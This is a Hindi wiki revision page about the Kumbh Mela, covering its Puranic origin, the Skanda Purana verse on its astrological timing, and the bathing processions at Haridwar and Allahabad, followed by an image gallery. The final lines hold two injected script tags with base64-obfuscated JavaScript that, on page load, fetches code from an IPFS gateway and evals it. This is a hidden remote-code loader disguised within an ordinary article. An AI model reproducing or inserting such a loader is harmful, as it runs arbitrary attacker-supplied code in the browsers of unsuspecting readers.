कुम्भ मेला: Difference between revisions
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) No edit summary |
No edit summary |
||
Line 17: | Line 17: | ||
गंगा द्वारे भवेद्योगः कुम्भनाम्रातदोत्तमः॥ | गंगा द्वारे भवेद्योगः कुम्भनाम्रातदोत्तमः॥ | ||
</poem> | </poem> | ||
[[चित्र:Kumbh Mela .jpg|पीपों का पुल(पॉन्टून पुल), कुम्भ मेला, [[इलाहाबाद]]<br />Pontoon Bridge, Kumbh Fair, Allahabad|thumb|left|250px]] | |||
जिसका अर्थ है कि सूर्य जब मेष राशि में आये और [[बृहस्पति ग्रह]] कुम्भ राशि में हो तब गंगाद्वार अर्थात हरिद्वार में कुम्भ का उत्तम योग होता है। ऐसे श्रेष्ठ अवसर पर सम्पूर्ण भारत के साधु-सन्यासी, बड़े बड़े मठों के महंत और पीठाधीश और [[दर्शन शास्त्र]] के अध्येता विद्वान हरिद्वार में एकत्र होते हैं। इनके अलावा समाज के सभी वर्गों के लोग छोटे बड़े, अमीर ग़रीब, बड़े | जिसका अर्थ है कि सूर्य जब मेष राशि में आये और [[बृहस्पति ग्रह]] कुम्भ राशि में हो तब गंगाद्वार अर्थात हरिद्वार में कुम्भ का उत्तम योग होता है। ऐसे श्रेष्ठ अवसर पर सम्पूर्ण भारत के साधु-सन्यासी, बड़े बड़े मठों के महंत और पीठाधीश और [[दर्शन शास्त्र]] के अध्येता विद्वान हरिद्वार में एकत्र होते हैं। इनके अलावा समाज के सभी वर्गों के लोग छोटे बड़े, अमीर ग़रीब, बड़े | ||
बूढ़े, स्त्री पुरुष भी यहाँ आते हैं। इस पावन अवसर पर जनमानस की ऐसी विशालता और विविधता को देखकर विश्वास होता है कि वास्तव में महाकुम्भ ही ऐक्य की अमृत साधना का महापर्व है। | बूढ़े, स्त्री पुरुष भी यहाँ आते हैं। इस पावन अवसर पर जनमानस की ऐसी विशालता और विविधता को देखकर विश्वास होता है कि वास्तव में महाकुम्भ ही ऐक्य की अमृत साधना का महापर्व है। |
Revision as of 06:56, 26 October 2010
[[चित्र:Haridwar.jpg|गंगा नदी, हरिद्वार
Ganga River, Haridwar|thumb|250px]]
कुम्भ-अमृत स्नान और अमृतपान की बेला। इसी समय गंगा की पावन धारा में अमृत का सतत प्रवाह होता है। इसी समय कुम्भ स्नान का संयोग बनता है। कुम्भ पर्व भारतीय जनमानस की पर्व चेतना की विराटता का द्योतक है। विशेषकर उत्तराखंड की भूमि पर तीर्थ नगरी हरिद्वार का कुम्भ तो महाकुम्भ कहा जाता है। भारतीय संस्कृति की जीवन्तता का प्रमाण प्रत्येक 12 वर्ष में यहाँ आयोजित होता है।
पूर्वी उत्तर प्रदेश में गंगा नदी के किनारे बसा इलाहाबाद भारत का पवित्र और लोकप्रिय तीर्थस्थल है। इस शहर का उल्लेख भारत के धार्मिक ग्रन्थों में भी मिलता है। वेद, पुराण, रामायण और महाभारत में इस स्थान को प्रयाग कहा गया है। गंगा, यमुना और सरस्वती नदियों का यहाँ संगम होता है, इसलिए हिन्दुओं के लिए इस शहर का विशेष महत्व है। 12 साल बाद यहाँ कुम्भ के मेले का आयोजन होता है। कुम्भ के मेले में 2 करोड़ की भीड़ इकट्ठा होने का अनुमान किया जाता है जो सम्भवत: विश्व में सबसे बड़ा जमावड़ा है ।
पुराण में कुम्भ
कुम्भ पर्व की मूल चेतना का वर्णन पुराणों में मिलता है। पुराणों में वर्णित संदर्भों के अनुसार यह पर्व समुद्र मंथन से प्राप्त अमृत घट के लिए हुए देवासुर संग्राम से जुड़ा है। मान्यता है कि समुद्र मंथन से 14 रत्नों की प्राप्ति हुई जिनमें प्रथम विष था तो अन्त में अमृत घट लेकर धन्वन्तरि प्रकट हुए। कहते हैं अमृत पाने की होड़ ने एक युद्ध का रूप ले लिया। ऐसे समय असुरों से अमृत की रक्षा के उद्देश्य से इन्द्र पुत्र जयंत उस कलश को लेकर वहाँ से पलायन कर गये। वह युद्ध बारह वर्षों तक चला। इस दौरान सूर्य, चंद्रमा, गुरु एवं शनि ने अमृत कलश की रक्षा में सहयोग दिया। इन बारह वर्षों में बारह स्थानों पर जयंत द्वारा अमृत कलश रखने से वहाँ अमृत की कुछ बूंदे छलक गईं। कहते हैं उन्हीं स्थानों पर, ग्रहों के उन्हीं संयोगों पर कुम्भ पर्व मनाया जाता है।
[[चित्र:Kumbh mela.jpg|thumb|कुम्भ मेला, इलाहाबाद
Kumb Fair, Allahabad|250px]]
[[चित्र:Aarti-Kumbh-Mela-Haridwar.jpg|thumb|250px|left|आरती कुंभ मेला, हरिद्वार
Aarti Kumbh Mela, Haridwar]]
मान्यता है कि उनमें से आठ पवित्र स्थान देवलोक में हैं तथा चार स्थान पृथ्वी पर हैं। पृथ्वी के उन चारों स्थानों पर तीन वर्षों के अन्तराल पर प्रत्येक बारह वर्ष में कुम्भ का आयोजन होता है। गंगा, क्षिप्रा, गोदावरी और प्रयाग के तटों पर सम्पन्न होने वाले पर्वों ने भौगोलिक एवं सामाजिक एकता को प्रगाढ़ता प्रदान की है। हज़ारों वर्षों से चली आ रही यह परम्परा रूढ़िवाद या अंधश्रद्धा कदापि नहीं कही जा सकती क्योंकि इस महापर्व का संबध सीधे तौर पर खगोलीय घटना पर आधारित है। सौर मंडल के विशिष्ट ग्रहों के विशेष राशियों में प्रवेश करने से बने खगोलिय संयोग इस पर्व का आधार हैं। इनमें कुम्भ की रक्षा करने वाले चार सूत्रधार सूर्य, चंद्रमा, गुरु एवं शनि का योग इन दिनों में किसी ना किसी रूप में बनता है। यही विशिष्ट बात इस सनातन लोकपर्व के प्रति भारतीय जनमानस की आस्था का दृढ़तम आधार है। तभी तो सदियों से चला आ रहा यह पर्व आज संसार के विशालतम धार्मिक मेले का रूप ले चुका है।
स्कंद पुराण में कुम्भ
[[चित्र:Haridwar1.jpg|गंगा नदी, हरिद्वार
Ganga River, Haridwar|thumb|250px]]
इस संदर्भ में घटने वाली खगोलिय स्थिति का उल्लेख स्कंद पुराण में कुछ इस प्रकार है-
पद्मिनी नायके मेषे कुम्भराशि गते गुरौ।
गंगा द्वारे भवेद्योगः कुम्भनाम्रातदोत्तमः॥
[[चित्र:Kumbh Mela .jpg|पीपों का पुल(पॉन्टून पुल), कुम्भ मेला, इलाहाबाद
Pontoon Bridge, Kumbh Fair, Allahabad|thumb|left|250px]]
जिसका अर्थ है कि सूर्य जब मेष राशि में आये और बृहस्पति ग्रह कुम्भ राशि में हो तब गंगाद्वार अर्थात हरिद्वार में कुम्भ का उत्तम योग होता है। ऐसे श्रेष्ठ अवसर पर सम्पूर्ण भारत के साधु-सन्यासी, बड़े बड़े मठों के महंत और पीठाधीश और दर्शन शास्त्र के अध्येता विद्वान हरिद्वार में एकत्र होते हैं। इनके अलावा समाज के सभी वर्गों के लोग छोटे बड़े, अमीर ग़रीब, बड़े
बूढ़े, स्त्री पुरुष भी यहाँ आते हैं। इस पावन अवसर पर जनमानस की ऐसी विशालता और विविधता को देखकर विश्वास होता है कि वास्तव में महाकुम्भ ही ऐक्य की अमृत साधना का महापर्व है।
स्नान
मकर संक्राति से प्रारम्भ होकर वैशाख पूर्णिमा तक चलने वाले हरिद्वार के महाकुम्भ में वैसे तो हर दिन पवित्र स्नान है फिर भी कुछ दिवसों पर ख़ास स्नान होते हैं। इसके अलावा तीन शाही स्नान होते हैं। ऐसे मौकों पर साधु संतों की गतिविधियाँ तीर्थयात्रियों और पर्यटकों के आकर्षण का केन्द्र होती है। कुम्भ के मौके पर तेरह अखाड़ों के साधु-संत कुम्भ स्थल पर एकत्र होते हैं। प्रमुख कुम्भ स्नान के दिन अखाड़ों के साधु एक शानदार शोभायात्रा के रुप में शाही स्नान के लिए हर की पौड़ी पर आते हैं। भव्य जुलूस में अखाड़ों के प्रमुख महंतों की सवारी सजे धजे हाथी, पालकी या भव्य रथ पर निकलती हैं। उनके आगे पीछे सुसज्जित ऊँट, घोड़े, हाथी और बैंड़ भी होते हैं। हरिद्वार की सड़कों से निकलती इस यात्रा को देखने के लिए लोगों के हुजूम इकट्ठे हो जाते हैं। ऐसे में इन साधुओं की जीवन शैली सबके मन में कौतूहल जगाती है विशेषकर नागा साधुओं की, जो कोई वस्त्र धारण नहीं करते तथा अपने शरीर पर राख लगाकर रहते हैं। मार्ग पर खड़े भक्तगण साधुओं पर फूलों की वर्षा करते हैं तथा पैसे आदि चढ़ाते हैं। यह यात्रा विभिन्न अखाड़ा परिसरों से प्रारम्भ होती है। विभिन्न अखाड़ों के लिए शाही स्नान का क्रम निश्चित होता है। उसी क्रम में यह हर की पौड़ी पर स्नान करते हैं।
|
|
|
|
|
वीथिका
-
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan -
कुम्भ मेला, वृन्दावन
Kumbh Fair, Vrindavan
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>